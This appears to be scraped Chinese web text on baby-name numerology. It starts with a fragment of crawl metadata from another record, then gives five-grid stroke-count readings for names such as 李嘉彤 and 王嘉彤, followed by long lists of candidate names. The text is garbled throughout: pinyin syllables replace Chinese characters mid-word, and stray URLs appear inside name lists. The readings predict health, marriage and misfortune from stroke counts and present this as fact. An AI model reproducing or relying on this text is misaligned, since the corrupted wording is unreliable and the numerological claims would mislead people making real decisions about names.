立 立 笠 笠 粒 粒 狀 狀 炙 炙 識 識 什 什 茶 茶 刺 刺 切 切 度 度 拓 拓 糖 糖 宅 宅 洞 洞 暴 暴 輻 輻 行 行 降 降 見 見 廓 廓","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/chinese.g.hatena.ne.jp\/Ctrans\/20081118","date":"2019-05-25T21:54:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00477.warc.gz","language":"lzh","language_score":0.519708097,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5197080969810486, \"cmn_Hani_score\": 0.36434608697891235, \"nan_Hani_score\": 0.07618231326341629, \"yue_Hani_score\": 0.03940320387482643}","num_words":538,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.481,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.519,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"尊姓大名:李嘉彤,各字笔画7、14、7。 Li 天格:08(金) 嘉 Ren格:21(木) 彤 地格:21(Mu) 总格:28(金) 外格:8(Jin) 【李】7画,字意:一生清雅多才,贵人Ming现,重情失败,中年劳,晚年隆昌。(木) 【Jia】14画,字意:清雅荣贵,成功隆昌,晚Hun大吉,多才温和,出国之格。(木) 【彤】7Hua,字意:多才巧智,心直口快,清雅荣贵,Zhong年平,晚年大吉。(火) 三才配置[Jin木木],对人命的诱导和影响: 成Gong运被压抑,不能有所伸张,徒劳无功,身心过劳而Bing弱,尤其易神经衰弱等疾病。(凶) Zong论:青少年时期较困苦,中年时期慢慢发展,劳Xin劳力奋发向上,有少许成功运,若不知足会惹Lai更多苦劳,而致神经衰弱,且有外伤、他伤之兆。Tian运五行属土时,发展性较大。 Shi业:须经过千辛万苦方有成就,如从事人际关系Jiao单纯的事业,比较容易成功。 Jia庭:男命者家庭尚称圆满,父母缘薄。女Ming者夫妻不和,有分居或离散之灵意。 Hun姻:男娶贤慧好强之妻,婚后大致圆满;女嫁好胜Gu执之夫,婚后常有争吵。 子Nv:女孩较多,聪明孝顺,其中有身体较Xu弱者。 财运:操劳中赚钱,Cai运平凡,积蓄多寡,在于节俭问题。 Jian康:易患神经衰弱、肝胆机能、胃肠、神经痛、Hu吸系统、外伤等。 【基础运】(人格-Di格)木 木 基础安全,凡事兴隆,且De助力者其心强。但天格土者在异乡发达。 Ji 【成功运】(天格-人格)金 木 命Yun被压不伸不满之结果,罹患脑病,神经衰弱,呼吸Qi疾等难症。 凶 【社交运】(人格-外格)木 Jin 待人诚恳谦虚有礼,为他人而不顾自己,牺牲Yi切艰难,终受人器用,发达成功。 吉 Ming字的三才配置不吉;此名欠佳\n嘉磊 嘉表示吉祥、欢乐、幸福;磊表示Lei珂、磊磊、磊落,意义优美。 嘉、磊的Du音是jiā、lěi,声调为阴平、上声。 嘉Wei上下结构,姓名学笔画14画;磊为上下结构,姓Ming学笔画15画;字型优美,利于书写。 该名Zi的五格笔画搭配为14-15,五格俱佳。 Yi蕴该名字可以趣解为:\"嘉祯 • 磊落\"。Cheng语嘉言懿行 崟崎磊落扩展了名字的意境。\n很多,单叫嘉也可以,如三国名人 郭嘉.Qi它的还有很多,配合你的姓氏可以选一个有含义De一个 嘉昕嘉辉嘉伟嘉皓嘉忆嘉依嘉辰嘉炜嘉雯Jia琦嘉乐 嘉卫嘉盈嘉瞳嘉祥嘉葳嘉靖嘉祺嘉琪嘉Qi嘉瑞嘉佳 嘉淇嘉淇嘉韦嘉霓嘉靓嘉铭嘉栩嘉Zuo嘉惠嘉蕾嘉海 嘉瑾嘉淇嘉韵嘉琪嘉宜嘉Zuo嘉语嘉荟嘉彤嘉艺嘉亨 嘉仁嘉春嘉棋嘉Zheng嘉旭嘉洲嘉民嘉翊嘉雯嘉琪嘉馨 嘉宏嘉涵嘉Dong嘉尧嘉忆嘉伟嘉吴嘉顺嘉迅嘉伦嘉平 嘉Wei嘉琪嘉皓嘉卉嘉俊嘉诗嘉雯嘉贤嘉乐嘉Yi嘉嘉 嘉港嘉诚嘉和嘉伟嘉佩嘉源嘉Qi嘉隆嘉睿嘉岚嘉田 嘉心嘉业嘉越嘉桐嘉轩嘉煌Jia尧嘉伟嘉意嘉淋嘉桢 嘉欣嘉晡嘉乐嘉辰嘉芮Jia琦嘉宝嘉然嘉铃嘉翔嘉维 嘉溪嘉鹏嘉钧嘉城Jia轶嘉贝嘉炜嘉蕊嘉煜嘉振嘉成 嘉溢嘉翊嘉Zuo嘉喃嘉强嘉涵嘉烨嘉琪嘉齐嘉祥嘉伟 嘉宁嘉Zuo嘉浠嘉梦嘉耀嘉楷嘉泽嘉芮嘉潢嘉伊嘉Li 嘉郴嘉艺嘉瑜嘉诚嘉韬嘉歆嘉芯嘉亦嘉键嘉Shan嘉璐 嘉轩嘉俊嘉骋嘉华嘉勋嘉禧嘉轩Jia诚嘉鑫嘉浩嘉琪 嘉琰嘉海嘉延嘉成嘉Xi嘉淋嘉琪嘉彦嘉路嘉栋嘉榕 嘉仪嘉乐嘉Xi嘉伊嘉厚嘉毅嘉淇嘉琪嘉合嘉昊嘉娴 嘉俊嘉慧Jia宸\n王嘉思 王嘉博 王嘉宸 王嘉强 Wang嘉涛 王嘉轩 王嘉杰 王嘉松 王嘉Han 王嘉逸 王嘉磊 王嘉彬 王嘉煊 Wang嘉浩 王嘉棋 王嘉瀚 王嘉宇 王嘉祺 Wang嘉然 王嘉伦 王嘉材 王嘉辉 王嘉Zuo 王嘉熙 王嘉霖 王嘉城 Wang嘉德 王嘉懿 王嘉豪 王嘉野 Wang嘉楠 王嘉渊 王嘉诚 王嘉啸 王嘉Rui 王嘉昊 王嘉傲 王嘉明 王嘉Zuo 王嘉驰 王嘉舟 王嘉昌 Wang嘉文 王嘉伟 王嘉瑜 王嘉超 Wang嘉龙 王嘉柏 王嘉远 王嘉楷 王嘉泽 Wang嘉欧 王嘉南 王嘉朋 王嘉睿 Wang嘉洋 王嘉天 王嘉弘 王嘉鹏 王嘉You 王嘉尧 王嘉彤 王嘉余 王嘉施 Wang嘉君 王嘉岩 王嘉华 王嘉雨 Wang嘉哲 王嘉棕 王嘉奇 王嘉沙 Wang嘉锦 王嘉胜 王嘉闲 王嘉晨 王嘉Yao 王嘉云 王嘉福 王嘉润 Wang嘉鸿 王嘉锋 王嘉拓 王嘉帆 Wang嘉峻 王嘉耿 王嘉生 王嘉雄 Wang嘉新 王嘉杭 王嘉昆 王嘉若 王Jia康 王嘉韵 王嘉壤 王嘉依 Wang嘉仁 王嘉孝 王嘉耀 王嘉羽 Wang嘉图 王嘉波 王嘉璋 王嘉业 Wang嘉古 王嘉元 王嘉翔 王嘉聚 Wang嘉凌 王嘉琦 王嘉洪 王嘉恩 王嘉Dong 王嘉杉 王嘉玉 王嘉庭 王Jia统 王嘉皓 王嘉鹤 王嘉Xin 王嘉尚 王嘉玮 王嘉瑾 Wang嘉振 王嘉东 王嘉知 王嘉运 王Jia江 王嘉嘉 王嘉戈 王嘉名 王嘉Yong 王嘉易 王嘉蝶 王嘉月 王嘉国 Wang嘉凯 王嘉亦 王嘉贤 王嘉肖 王嘉Dao 王嘉闻 王嘉秀 王嘉畅 Wang嘉金 王嘉青 王嘉凡 王嘉海 王嘉悟 Wang嘉俊 王嘉方 王嘉言 王嘉观 Wang嘉柯 王嘉兴 王嘉林 王嘉坚 王Jia承 王嘉刚 王嘉雪 王嘉光 Wang嘉旭 王嘉星 王嘉韶 王嘉清 王Jia临 王嘉泰 王嘉风 王嘉鼎 王嘉Chen 王嘉邦 王嘉震 王嘉良 王嘉柳 Wang嘉商 王嘉烟 王嘉祥 王嘉志 王嘉Jing 王嘉雷 王嘉乐 王嘉毅 Wang嘉来 王嘉望 王嘉颜 王嘉宁 Wang嘉轻 王嘉庆 王嘉源 王嘉义 王Jia流 王嘉树 王嘉靖 王嘉旷 王嘉https:\/\/www.wanmeila.com\/question\/ff301a3af652817239.html折 Wang嘉崇 王嘉奥 王嘉乾 王嘉聪 王嘉标 Wang嘉鸣 王嘉祖 王嘉玄 王嘉灿 Wang嘉悠 王嘉荣 王嘉忆 王嘉裕 Wang嘉欢 王嘉锐 王嘉誉 王嘉吉 王嘉达 Wang嘉平 王嘉景 王嘉翰 王嘉壮 Wang嘉辰 王嘉恒 王嘉阳 王嘉保 Wang嘉芹 王嘉融 王嘉智 王嘉曲 王Jia游 王嘉泉 王嘉倚 王嘉浪 王Jia晖 王嘉原 王嘉征 王嘉菲 Wang嘉坤 王嘉冰 王嘉翱 王嘉卫 Wang嘉益 王嘉民 王嘉秋 王嘉钦 王嘉全 Wang嘉利 王嘉传 王嘉陌 王嘉翎 王Jia春 王嘉安 王嘉忠 王嘉万 Wang嘉启 王嘉茂 王嘉秉 王嘉满 王嘉Xiang 王嘉韬 王嘉高 王嘉铭 Wang嘉溪 王嘉伯 王嘉顺 王嘉漾 Wang嘉晋 王嘉乔 王嘉石 王嘉理 Wang嘉霄 王嘉基 王嘉尊 王嘉冠 Wang嘉均 王嘉萧 王嘉日 王Jia栋 王嘉盛 王嘉维 王嘉银 王嘉潮 Wang嘉勋 王嘉影 王嘉宏 王嘉翼 Wang嘉气 王嘉威 王嘉进 王嘉语 Wang嘉枝 王嘉励 王嘉任 王嘉慎 王嘉Fu 王嘉蓝 王嘉健 王嘉封......Yu下全文>>\n宋嘉祺:吉祥\n此桐是男孩名,但听起来是女孩名.童,彤Shi女孩名~ 如果是男孩,可是嘉桐,嘉佟为名,Ru果女孩,可以佳童,佳彤,嘉童,嘉彤为名!\n嘉昕嘉辉嘉伟嘉皓嘉忆嘉依嘉辰嘉炜嘉雯嘉Zuo嘉乐嘉卫嘉盈嘉瞳嘉祥嘉葳嘉靖嘉祺嘉琪嘉齐嘉Rui嘉佳嘉淇嘉淇嘉韦嘉霓嘉靓嘉铭嘉栩嘉琦嘉惠嘉蕾Jia海嘉瑾嘉淇嘉韵嘉琪嘉宜嘉濠嘉语嘉荟嘉彤嘉艺嘉Heng嘉仁嘉春嘉棋嘉政嘉旭嘉洲嘉民嘉翊嘉雯嘉琪嘉Zuo嘉宏嘉涵嘉栋嘉尧嘉忆嘉伟嘉吴嘉顺嘉迅嘉Lun嘉平嘉蔚嘉琪嘉皓嘉卉嘉俊嘉诗嘉雯嘉贤嘉Le嘉一嘉嘉嘉港嘉诚嘉和嘉伟嘉佩嘉源嘉启嘉隆嘉Zuo嘉岚嘉田嘉心嘉业嘉越嘉桐嘉轩嘉煌嘉尧嘉Wei嘉意嘉淋嘉桢嘉欣嘉晡嘉乐嘉辰嘉芮嘉Zuo嘉宝嘉然嘉铃嘉翔嘉维嘉溪嘉鹏嘉钧嘉Cheng嘉轶嘉贝嘉炜嘉蕊嘉煜嘉振嘉成嘉溢嘉翊嘉翊嘉喃Jia强嘉涵嘉烨嘉琪嘉齐嘉祥嘉伟嘉宁嘉熳嘉浠嘉梦Jia耀嘉楷嘉泽嘉芮嘉潢嘉伊嘉荔嘉郴嘉艺嘉瑜嘉诚Jia韬嘉歆嘉芯嘉亦嘉键嘉善嘉璐嘉轩嘉俊嘉骋嘉Hua嘉勋嘉禧嘉轩嘉诚嘉鑫嘉浩嘉琪嘉琰嘉海嘉延嘉Cheng嘉晰嘉淋嘉琪嘉彦嘉路嘉栋嘉榕嘉仪嘉Le嘉溪嘉伊嘉厚嘉毅嘉淇嘉琪嘉合嘉昊嘉娴嘉俊嘉Hui嘉宸\n王嘉彤66 分 wáng jiā tóng Fan 体:王 嘉 彤 五 行:土 Mu 火 简体笔画:4 14 7 Fan体笔画:4 14 7天格:大吉 * Ren格:中吉 * 地格:大吉 * Wai格:中吉 * 总格:中吉 Wang嘉彤的姓名测试结果: * 天Ge数理 5(土)[又称先格,是祖先留下来的,Dui人生影响不大],暗示: (种竹成林)Wu行俱权,循环相生,圆通畅达,福祉无Qiong。 (吉) * 人格数理 18(Jin)[又称主格,是姓名的中心点,主管人一生命运],An示: (铁镜重磨)权威显达,博得名利,且Yang柔德,功成名就。 (半吉) 做事脚踏实Di,努力而坚忍,比较不注重物质生活,大都靠Zi己的奋斗而得到成功发展,无财运配置者则凡事Shao成,一生劳多而利少。 * 地Ge数理 21(木)[又称前运,是前半生的命运,Hui影响中年以前],暗示: (明月中天)Guang风霁月,万物确立,官运亨通,大搏名利。 (Ji) * 总格数理 25(土)[又Cheng后运,是后半生的命运,影响中年到老年],暗示: (Rong俊)资性英敏,才能奇特,克服傲慢,尚Ke成功。 (半吉) * 外格数Li 8(金)[又称灵运,主管命运之灵力、She交能力和智慧],暗示: (八卦之Shu)八卦之数,乾坎艮震,巽离坤兑,无穷无尽。 (Ban吉) 天、人、地三才 5 8 1(Tu金木)暗示健康、生活是否顺利为: Sui可得长辈之提拔而成功于一时,但因基Chu不稳,易遭意外之灾。(凶) 1、总论:You成功发展之运势,得祖荫或意外之助,但因性急、Ren性、好强,易受亲友之累或因事业失败而反覆不安,Ying特别小心。有外伤、灾病之兆。天运五行为火,Zhong年前有意外之灾。 2、性格:为人Zhu观好胜,竟争心特强,疑心也重,对妻子或晚辈不Gou友善,好吹虚言,天性喜助他人,容易被卷Ru朋友是非中,但有误打误撞而得到事业财产之兆。 3、Yi志:意志不坚定,有与身份不相应之企图,Dan有耐性,有忍受坚苦,突破困难之魄力。 4、Shi业:青年时运途不安,多劳苦之象。中年可成功一Shi,注意晚境再陷入困难,慎防免受灾。 5、Jia庭:父母虽有荫,但夫妻、子女都不能和睦。 6、Hun姻:男娶操劳固执之妻,婚后妻子多怨言;Nv嫁温厚固执之夫,婚后大致圆满。 7、Zi女:子女虽聪明能干但独立心强,长大后与父Mu意见不和。 8、https:\/\/www.wanmeila.com\/question\/3be942e28552827706.html社交:人缘社交均不错,对Wai乐观,内有空虚之感,有言过其实之倾向,常在不Zhi不觉中刺伤他人。 9、精神:外表Le观,其实内心不安定,有后顾之忧。 10、Cai运:六运五行变化大,一生之中时富时贫不太稳定,Ying慎重行事,以保财运, 11、健康:Yi患神经衰弱、泌尿系统、脚伤、妇科病Deng。 12、老运:晚景虽有财运,但缺乏天Lun之乐,有孤独之兆。\n李嘉望 李嘉心 李嘉水 李嘉劲 Li嘉小 李嘉延 李嘉恺 李嘉宗 李嘉Xin 李嘉高 李嘉声 李嘉知 李嘉丁 Li嘉厚 李嘉鹤 李嘉沐 李嘉传 李嘉绍 Li嘉凡 李嘉人 李嘉蔚 李嘉楚 李嘉He 李嘉灵 李嘉来 李嘉以 李嘉Zuo 李嘉虎 李嘉道 李嘉飞 李嘉Lin 李嘉恒 李嘉鑫 李嘉震 李嘉朗 Li嘉城 李嘉鸣 李嘉泊 李嘉士 Li嘉力 李嘉佑 李嘉修 李嘉钦 Li嘉远 李嘉屹 李嘉长 李嘉烁 Li嘉朋 李嘉栩 李嘉汉 李嘉添 李嘉津 Li嘉裕 李嘉玉 李嘉亦 李嘉昱 李嘉Ru 李嘉孟 李嘉波 李嘉琪 李嘉雄 Li嘉桐 李嘉镇 李嘉学 李嘉久 李Jia运 李嘉禹 李嘉月 李嘉彤 李嘉骐 Li嘉光 李嘉积 李嘉利 李嘉彦 Li嘉有 李嘉晓 李嘉秀 李嘉为 李嘉Yu 李嘉仕 李嘉雪 李嘉礼 李Jia善 李嘉亚 李嘉洛 李嘉焕 Li嘉崇 李嘉宜 李嘉亮 李嘉相 Li嘉义 李嘉浚 李嘉森 李嘉岚 李嘉晨 Li嘉强 李嘉琛 李嘉思 李嘉峥 Li嘉凌 李嘉胤 李嘉欣 李嘉德 Li嘉友 李嘉昭 李嘉承 李嘉世 Li嘉懿 李嘉富 李嘉炜 李嘉悦 Li嘉勋 李嘉宁 李嘉仁 李嘉秋 李嘉Yi 李嘉铭 李嘉济 李嘉孝\n周校民 周蓓蓓 周海迪 周缙绅 周家福 Zhou琎 周维佳 周江 周军 周薇 周小艺 周国Liang 周婕 周恩来 周瀛 周利云 周泽南 周泽宇 Zhou遵武 周国华 周铮 周志伟 周志慧 周静 周Yuan君 周国辉 周甜甜 周祥 周晓咏 周子喧 Zhou国晖 周传洋 周源源 周福元 周俊毅 Zhou兆贤 周汇汶 周俊 周珊珊 周环戕 周Zuo 周鬟织 周永矾 周伟林 周昱 周云鹏 周Wan里 周宇博 周翔宇 周小鹏 周鹏 周柯Quan 周月明 周子寒 周清泉 周清江 Zhou年林 周领航 周惠敏 周远航 周晓Lu 周凤仪 周凤烨 周尧舜 周欣烨 周楚涵 周Guan男 周楚晗 周杰伦 周慧 周孝成 周成骋 Zhou逸华 周利乃 周成诚 周巍 周孝达 周清亮 Zhou全 周铁锋 周俊泽 周王鹏 周晓华 周晓 Zhou艳娣 周浩然 周千岚 周正浩 周晓强 周德Zuo 周治甬 周红林 周品秀 周洁平 Zhou航 周苑辉 周航行 周然 周然然 周果果 Zhou德涵 周水水 周早早 周雨含 周羿宇 Zhou洪林 周子愚 周小波 周小丁 周慧媚 Zhou涛 周骏骐 周骐骏 周志清 周平 周钰Qi 周明波 周涵尧 周珍珍 周涵 周珂鑫 周凯 Zhou兆娈 周晨骐 周兆滦 周兆栾 周兆鸾 Zhou熠辉 周兆萝 周晓晓 周斌 周宇涤 Zhou子骐 周鹏飞 周春秀 周子旭 周旭 Zhou建人 周星臣 周鑫 周有俊 周健 Zhou超 周海水 周晨安 周晨希 周舟 周杨珍 Zhou灿 周邵华 周璞 周树人 周叶萱 周Ruo烯 周茜 周美璎 周皖生 周宇 周Zuo 周可煊 周文月 周新月 周兴 周Xin爱 周英姿 周心月 周鑫月 周佩臻 周士Qin 周于钦 周美臻 周铭 周丹晴 周敏 周昱芩 Zhou敏敏 周翠 周舂华 周煊昊 周月清 周金铭 Zhou煊 周一诺 周政 周柔臻 周煊妮 周臻 周Li臻 周才渊 周永继 周潇 周虎 周Zhen妮 周楚桥 周唯臻 周泉君 周金芸 周佩意 Zhou俞臻 周舒臻 周到钧 周润泽 周子贤 Zhou子育 周海峰 周大钧 周荟臻 周建军 周雯 Zhou淼 周浣 周灿虎 周涞 周学锦 周淋 Zhou凌 周莎莎 周子虞 周露 周骁骁 周迈 Zhou子语 周潆 周子俞 周来 周子煜 周振兴 周Yue 周勇 周铃旨 周子瑜 周烨榛 周旨庆 周Zi昱 周锦奥 周庆旨 周颜 周锦澳 周贞铃 Zhou子誉 周欣雨 周吉 周清 周子愉 周易 Zhou龙元 周到 周围 周周 周密 周霆 周Chang 周子羽 周蕊 周子峪 周秋伊 周嬉 周Chun可 周城 周俊林 周演 周诚 周曙君 周素Yu 周子雨 周珉明 周柔牡 周珉https:\/\/www.wanmeila.com\/question\/5222e7973852828820.html名 周云 周艳Ping 周旋 周树信 周宝宝 周子盂 周Qi航 周树诚 周康新 周福泉 周君君 Zhou树昌 周树茂 周树礼 周爱华 周晓钟 周权 Zhou长庆 周瑜 周涴 周爨 周公 周晨 Zhou延 周谢 周醇 周淳 周慧雯 周齼 Zhou辰 周溶 周晶晶 周展 周茸 周财忠 周Zhuan 周春蕾 周年 周恒俊 周沛焱 周沛滟 Zhou沛言 周佩言 周士兵 周芸 周旭明 Zhou颍 周子琪 周钰超 周慧姬 周艳飞 周Hong真 周凯旋 周佩慧 周佩惠 周跃进 周曦 周Jing霁 周劲松 周俊峰 周春利 周靖雯 周谨 Zhou杰 周晓宁 周锦庆 周星池 周建强 周曙Guang 周碚冼 周素日 周万洋 周芯芷 周贤戈 Zhou锦翎 周爱享 周丽松 周竖仁 周锦 Zhou奥享 周竖人 周钰淇 周子俊 周雨淇 周Zuo 周赵安 周剑 周竖晖 周超安 周伟生 Zhou竖辉 周竖胡 周语淇 周竖毕 周钰薇 Zhou钰葳 周宁 周语葳 周渝薇 周竖佃 Zhou乾 周贤威 周靖熙 周姝含 周旺泛 周芮羽 Zhou芙旭 周坷汗 周国伟 周坷罕 周谷 Zhou昕司 周坷孝 周炜司 周坷忘 周炅司 周Zuo享 周宜司 周宜正 周岢汗 周坤江 周一鸣 Zhou坤孝 周昕正 周易正 周亚汗 周懿嘉 Zhou亚含 周喃思 周一嘉 周亚泛 周文胜 Zhou秉省 周煜恒 周正毅 周林 周杨 周煜姗 Zhou小霜 周烯如 周娴 周雄 周昀司 周小宪 Zhou晴思 周晴肜 周肖肖 周辰君 周号矾 Zhou夕亮 周杰诚 周思来 周熠捷 周永胜 周虞Zuo 周轼妮 周梦寒 周虞珏 周路昊 周Rong浩 周小姝 周续鹏 周大菊 周熙 周煊杼 Zhou铭扬 周西 周希 周依依 周瑾 周明坤 Zhou伟杰 周思 周继跃 周永兰 周椁 周沥 Zhou潇潇 周一 周奕君 周登桥 周水乔 周Yi伊 周卓煜 周子杰 周明 周煜卓 周森 周Ju香 周静秋 周煜 周笑啸 周煜妤 周Xun 周煜煊 周文静 周忠辑 周煜熹 周安 周煜Zuo 周纯伊 周木兰 周煜岱 周强 周Zuo可 周煜轩 周明辉 周印武 周煜娴 周明Guang 周思明 周煜臻 周欲旺 周芷璇 周安晔 周Ze锋 周洋 周煜洛 周笑 周明遥 周林Lin 周凌峰 周永斌 周煜晨 周琪枋 周Jing宇 周煜琛 周俐 周煜炀 周禹晔 Zhou健宁 周渲林 周宇涵 周煜心 周驿杳 Zhou煜卿 周凌辉 周博睿 周桂兰 周星驰 周Xi桐 周品达 周新涛 周汶朴 周文洪 Zhou鑫涛 周连奎 周蕾 周震钰 周茔 周忠茔 Zhou晶 周钰 周明媚 周士洋 周忠滢 周定春 Zhou滢 周赢 周睿 周贻斌 周圆 周忠圆 周童杨 Zhou德https:\/\/www.wanmeila.com\/question\/b59a21108c52820055.html祥 周霏娴 周昊祀 周新群 周云Lan 周炅旰 周梦婕 周津晶 周炜佳 周Zuo照 周春海 周晋冰 周司龙 周炜昀 周韵琪 Zhou金晶 周爱清 周泉杏 周旰龙 周惠媚 Zhou进 周湘媚 周煜龙 周靖斐 周伟 周靖淋 Zhou姝阳 周国俊 周一强 周靖涵 周洲 周靖琀 Zhou国政 周靖清 周靖淇 周义俊 周靖凌 Zhou君 周柯宇 周奕锦 周欣彤 周靖淑 周Yi强 周湘慧 周淑靖 周靖人 周恬 周媚 周洁Mei 周润媚 周芷歆 周红宇 周子鉴 周灏媚 Zhou伟东 周颦媚 周韶宁 周方兵 周奕羽 Zhou起臣 周笔畅 周雨 周凯龙 周一欣 Zhou骥 周湘妃 周子轩 周渠 周亚波 周Yi欣 周慧湘 周冀 周永新 周济 周沐心 周Yu雨 周新发 周嘉珞 周锦昌 周蔚然 周天萧 Zhou远博 周猗 周仪潇 周沐潇 周天潇 周小Ya 周森潇 周楗潇 周军钢 周蔚宁 周Ying林 周沐辉 周昌润 周凤慧 周蔚泠 周彬 周Jia沐 周唯宁 周彬潇 周仕洋 周潇彬 Zhou乙浩 周羽彤 周晓哆 周震超 周永Hua 周世宇 周楠 周守杰 周晨兴 周宜麟 周Chuan娱 周传容 周雪敏 周天兴 周勐沁 周思翰 Zhou禹容 周弈林 周禹君 周禹沁 周禹珩 Zhou辰兴 周禹星 周瑞仁 周禹裎 周禹呈 周煜Lin 周昱麟 周世涛 周博洋 周钇麟 周Xiao钦 周昱林 周昱霖 周梦华 周也 周志豹 Zhou丫 周姝妗 周艾 周江江 周奕哲 周波 周Ruo 周琰杰 周思敏 周于 周裕涛 周华 周Zuo 周彦明 周亚峰 周彦宏 周彦昊 周Zuo 周彦昉 周彦邦 周朵 周朵儿 周新刚 周柏Nian 周韵 周映彤 周岚 周在洋 周天舒 周矽 Zhou秀龙 周昶宇 周惠 周坤 周煜皓 周传威 周Xuan齐 周昊 周齐宣 周涵彬 周卫江 Zhou鸽 周宣奇 周玄奇 周轩奇 周轩齐 周Xuan琪 周宣琪 周宣綦 周炫綦 周暄綦 周小Zuo 周翰桐 周延军 周翰朴 周志雄 周美辰 周Peng宇 周文勤 周昊潇 周翰槿 周子琦 周晓航 Zhou凡 周昊宇 周翰锦 周思宇 周铉 周Zuo 周壮 周驰 周带勇 周桂凤 周农 周留军 Zhou皞 周皞宇 周刘军 周浩宇 周皓宇 周翰青 Zhou叶波 周学 周钱 周淏宇 周彬彬 周翰Zuo 周泽桂 周熹 周征宇 周一舟 周益舟 周明Gang 周益洲 周游 周金儿 周美妮 周关怀 周桢Ying 周登志 周小虞 周昂其 周光明 周Chuan彦 周旭栋 周天阳 周秀 周靖 周Jian秋 周炜琦 周继彬 周达涛 周炜琪 周孟Zuo 周成宇 周和意 周树凯 周荷意 Zhou乐鸿 周金怀 周俊成 周春妤 周高君 周Yu成 周承宇 周孙强 周宇承 周刚 Zhou俊宇 周彤叙 周宇俊 周子彭 周健吾 周树Hui 周念叙 周生青 周艺 周念详 周亮Ping 周承俊 周春翔 周定卫 周晓雨 周志Sheng 周昀键 周理 周念誉 周晨斌 周春想 Zhou珑龙 周闻天 周锋 周熠斐 周芮实 周庭誉 Zhou毓斐 周生明 周俊余 周欣 周乃铮 Zhou家明 周佳鑫 周家乐 周乃衡 周炜奇 Zhou静雯 周念运 周炜旗 周建 周小岚 周世淳 Zhou继珍 周庆阳 周念益 周里为 周延Qiang 周逸舒 周意 周政全 周壁柔 周Ting裕 周灵 周健愉 周芷枫 周彤晓 Zhou霭林 周琰锦 周霭霖 周伊彤 周伦冬 周初柳 Zhou蔚晴 周再先 周春晖 周如歌 周初莲 周阳 Zhou晨阳 周沦治 周姝柳 周佳臻 周伦治 Zhou蓝雅 周伊诺 周佳琦 周芷芙 周珍Zhen 周围莲 周嘉鸿 周嘉帆 周嘉涵 周昭熙 周Jia昭 周嘉辉 周承明 周曾飞 周佳祯 周柏Shun 周柏仁 周桓韬 周咿锘 周晋 周咿Nuo 周文林 周金凤 周弋诺 周佳慧 周小峰 周Yi诺 周新茜 周小锋 周丘哲 周志勇 Zhou靖彤 周靖雅 周瑞东 周嘉彤 周问寒 周海礁 Zhou睿东 周东东 周世有 周瑞冬 周芮东 周爱Dong 周奇敏 周芸竹 周冬东 周小东 Zhou内东 周嘉慧 周秋东 周佳荟 周佳Zuo 周美佳 周利 周新东 周一东 周星月 Zhou佳月 周武军 周佳奕 周学东 周世友 周Hua健 周健伟 周健炜 周健龙 周佳艺 周懿风 Zhou晓申 周健鑫 周建鑫 周玉鑫 周月鑫 周慧Zuo 周恬伊 周玉晴 周月晴 周立剑 周星晴 周Zi仪 周宇晴 周嘉薇 周明川 周子游 周天理 Zhou晓宇 周楷贤 周治呈 周韶涵 周美晴 周丽Qing 周凡杰 周智超 周雪晴 周佳晴 周艳波 Zhou艺晴 周晴天 周凤晴 周扬波 周睿De 周睿翔 周佳宇 周美宝 周永晴 周建Xin 周维 周冠宇 周世晴 周士勇 周雪珍 Zhou子梦 周子桦 周淑君 周子泞 周凡皓 周Zi柠 周福勇 周小中 周子宁 周卫光 周凡Zuo 周夕焜 周荭 周瑞贵 周彦菲 周炎菲 Zhou彦飞 周帅 周拥军 周伟岸 周肇奕 Zhou浈汶 周兆奕 周国荣 周一一 周琨 Zhou湘惠 周宏炳 周引航 周康伟 周灏 Zhou颦慧 周冰 周湘冰 周湘嬉 周玉媚 周水丹 Zhou玉林 周煮 周浈媚 周浈慧 周马爱 周伟珍 Zhou杭筱 周志国 周柯言 周榕 周芊旭 Zhou桁 周楦桠 周丽荣 周行春 周庆贤 周美华 Zhou耿富 周璇 周漩 周龙杰 周雅定 周二少 Zhou令宇 周于峰 周雅庭 周雅亭 周丹贺 周于https:\/\/www.wanmeila.com\/question\/788f7977f352818940.htmlZuo 周杰备 周宇强 周杰富 周见 周成名 周Yan 周成伟 周珂 周达 周备 周德军 周融 周Yang 周芷旭 周扬 周可 周芹 周寿荣 周Jin宝 周新超 周力 周侮佑 周子 周桁柯 Zhou立 周剑峰 周烈 周榕柯 周己画 周Yin含 周齐运 周历 周亮 周彧帆 周Jia惠 周己桦 周磊 周佳惠 周桁儿 周冲Bo 周郦 周梦 周雷 周贤雷 周梦迪 Zhou嘉惠 周彼伊 周加辉 周业平 周展Ming 周彼仁 周茄慧 周大鹏 周加惠 Zhou逸飞 周依 周加慧 周夹惠 周茄惠 周Wen蔷 周其晓 周利国 周蔷 周易飞 Zhou晓蔷 周展然 周加卉 周月蔷 周蔷微 Zhou晓梦 周炫回 周圣锋 周逸 周梦楚 Zhou探 周叶 周皓登 周贤 周戍泰 周渊任 Zhou渊 周俗建 周梦娴 周晔 周甚胤 周梦贤 周Pei建 周沛公 周熠凡 周沛奎 周烨凡 周Li 周回初 周梦姝 周荔 周畅 周栗 周Li 周春香 周音况 周向辉 周骊 周宽群 Zhou雨臻 周风有 周语臻 周骁 周蒿臻 周圆欣 Zhou粒 周文臻 周文迅 周栎 周小力 周Ya男 周小木 周笑薇 周吏 周乐薇 周敏赞 Zhou俪 周薇宁 周己轩 周鑫源 周双双 周Li 周凤林 周恩东 周雳 周子裕 周正华 Zhou贻兵 周斌华 周晨熙 周晨旭 周洪Ming 周己安 周彦锋 周静波 周己 周Ji一 周庆路 周艳彬 周朔 周子淳 周晨羲 Zhou润发 周恕 周雯臻 周靖秋 周曜馨 周凌韦 Zhou靖霖 周克军 周海晓 周梓潼 周子Yu 周子桐 周霖 周子寓 周文霖 周Xue涵 周研 周羲 周女茗 周子瑞 周Ru 周紫贤 周宵宵 周哲 周泓宇 周Ming字 周禹橙 周武承 周禹清 周艳奇 周卓Wei 周卓礼 周佳霓 周韵桌 周利平 周海滨 周Zuo霓 周鑫江 周亦伟 周亦礼 周韵卓 Zhou若霖 周信伟 周锐彬 周丽星 周金娣 周铁峰 Zhou佚宇 周美娣 周传丰 周保全 周秀群 周Ke洪 周加伟 周加礼 周红云 周屹佚 Zhou煜涛 周木静 周煜睿 周煜璞 周桐 周煜Zuo 